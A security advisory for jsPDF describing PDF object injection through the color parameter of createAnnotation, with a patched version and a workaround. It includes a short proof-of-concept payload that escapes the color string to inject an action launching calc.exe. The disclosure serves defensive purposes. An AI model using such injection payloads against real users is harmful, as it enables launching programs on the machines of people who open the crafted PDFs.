jsPDF has a PDF Object Injection via FreeText color

Impact

User control of arguments of the createAnnotation method allows users to inject arbitrary PDF objects, such as JavaScript actions.

If given the possibility to pass unsanitized input to the following method, a user can inject arbitrary PDF objects, such as JavaScript actions, which might trigger when the PDF is opened or interacted with..

• createAnnotation: color parameter

Example attack vector:

import { jsPDF } from 'jspdf'

const doc = new jsPDF();

const payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> (';

doc.createAnnotation({
  type: 'freetext',
  bounds: { x: 10, y: 10, w: 120, h: 20 },
  contents: 'hello',
  color: payload
});

doc.save('test.pdf');

Patches

The vulnerability has been fixed in jsPDF@4.2.1.

Workarounds

Sanitize user input before passing it to the vulnerable API members.